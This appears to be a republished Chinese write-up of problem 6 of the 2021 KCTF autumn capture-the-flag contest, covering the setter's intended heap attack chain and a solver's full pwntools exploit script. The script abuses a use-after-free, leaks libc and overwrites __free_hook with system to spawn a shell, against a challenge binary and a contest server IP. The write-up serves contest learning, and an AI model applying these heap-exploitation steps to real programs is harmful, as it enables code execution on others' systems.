看雪·众安 2021 KCTF 秋季赛 | 第六题设计思路及解析


出题团队简介

战队成员如下:

赛题设计思路
功能描述
程序的输出字符均有有效字符检查,禁止输出不可见字符。
考点
前提条件
需要一个UAF漏洞 可以分配较大的堆块(size <=0x3b00) 不需要任何泄露
主要攻击步骤
通过爆破4bit,改写bk进行unsortedbin attack 改写global_max_fast变量 结合堆风水技术,通过UAF漏洞以及fastbin corruption去篡改stderr文件流对象 触发stderr得到shell
漏洞点
赛题解析
本赛题解析由看雪论坛xi@0ji233给出:

题目分析
struct name{char file_name[0x20];};struct data{long long is_not_dir;data *pre_dir;//文件这里标为1,目录标为0data *son[16];//普通文件这里不使用name *file_name;text *file_data;//目录不具有此项目}struct text{char text[?];}
exp
from pwn import *#context.log_level='debug'context.arch='amd64'context.os='linux'libc_version='2.27'global pdef conn(x,file_name,port=9999,ip='101.35.172.231'):if x:p=process(file_name)else:p=remote(ip,port)return ELF(file_name),ELF(file_name),pdef ls(name):p.sendlineafter(b'$',b'ls')p.sendlineafter(b'path> ',name)def mkdir(name):p.sendlineafter(b'$',b'mkdir')p.sendlineafter(b'name',name)def rm(name):p.sendlineafter(b'$',b'rm')p.sendlineafter(b'filename> ',name)def cd(name):p.sendlineafter(b'$',b'cd')p.sendlineafter(b'path> ',name)def echo(msg,red,path=b'./'):p.sendlineafter(b'$',b'echo')p.sendafter(b'arg>',msg)p.sendlineafter(b'redirect?>',red)if red==b'Y' or red==b'y':p.sendlineafter(b'path> ',path)def touch(name):p.sendlineafter(b'$',b'touch')p.sendlineafter(b'filename> ',name)def pwn():global pelf,libc,p=conn(0,'./chall',port=10000)libc=ELF('./libc.so.6')mkdir(b'dir')cd(b'dir')touch(b'flag')echo(b'a'*0x10+b'\n',b'y',b'flag')cd(b'..')for i in range(2):rm(b'./dir/flag')gdb.attach(p)echo(p16(0x3260)+b'\n',b'y','dir/flag')touch(b'flag1')echo(b'a'*0x4ff8+p64(0xf1),b'n')echo(b'a'*8+b'\n',b'y',b'flag1')touch(b'flag2')touch(b'flag3')touch(b'flag4')gdb.attach(p)echo(b'/bin/sh\0'+b'\n',b'y',b'flag2')for i in range(7):touch(str(i))echo(b'a'*0xe0+b'\n',b'y',str(i))for i in range(7):rm(str(i))rm(b'flag2')echo(b'a'*0x5000,b'n')#p.recvuntil(b'\x7f')libc_addr=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook']success('libc_addr:'+hex(libc_addr))rm('dir/flag')echo(p64(libc_addr+libc.sym['__free_hook'])+b'\n',b'y',b'dir/flag')echo(b'/bin/sh\n',b'y',b'flag3')echo(p64(libc_addr+libc.sym['system'])+b'\n',b'y',b'flag4')rm(b'flag3')#gdb.attach(p)p.interactive()while True:try:pwn()except:continue
往期解析
1、看雪·众安 2021 KCTF 秋季赛 | 第二题设计思路及解析
2、看雪·众安 2021 KCTF 秋季赛 | 第三题设计思路及解析
3、看雪·众安 2021 KCTF 秋季赛 | 第四题设计思路及解析


第七题《声名远扬》正在火热进行中,
延伸阅读
-
看雪·众安 KCTF赛况直播 | 战况升级!比分逐渐拉大
看雪·众安 2021 KCTF秋季赛 已于11月15日中午12点正式开赛!第9题《万事俱备》已经持续2天。现在跟随我一起看看赛况如何吧!截至发文,目前该题围观人数多达927人,已有4支战队攻破此题!分
-
看雪·众安 KCTF赛况直播 | 白热化!第八题《群狼环伺》谁先拿下?
看雪·众安 2021 KCTF秋季赛 已于11月15日中午12点正式开赛!今天中午12点,第8题《群狼环伺》已正式开战!截至发文,该题共计围观人数:325,攻破战队数:0截至发文防守方总排名如下:攻击
-
看雪·众安 2021 KCTF 秋季赛 | 第五题设计思路及解析
看雪·众安 2021 KCTF秋季赛的第五题《拔刀相向》历时4天,已于今天中午12点关闭攻击通道,截止答题。那么目前的比赛情况如何呢?攻击方排名前10如下:已开放赛题的5支防守队伍排名如下:经统计,第
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注KnowSafe微信公众号随时掌握互联网精彩
- AllInSSL个人ssl证书自动续期神器!从申请到部署,一条命令搞定!
- 苹果在iOS 26中带来充电感知功能 可以预估大约需要多久可将电池充满
- AppInfoScanner APP信息搜集工具
- 对某嵌入式设备声波配网的研究
- 谷歌将为Chrome 浏览器推出新功能,允许调用第三方密码管理器
- 奔向月球的人
- 张一鸣以594亿美元成中国互联网首富;苹果称华为商标抄袭AIRPODS被驳回;Chrome 95发布|极客头条
- 腾讯丁珂:以“零信任”理念重构产业数字化时代安全防御体系
- “跳过更新”还得付费?Docker 新变化引发群嘲
- 诸子星球 | 微话题:“逃生账号”怎么管?
- 高通公司宣布任命安蒙为候任首席执行官
- 在招|中通快递高薪诚招安全研发相关工程师
赞助链接



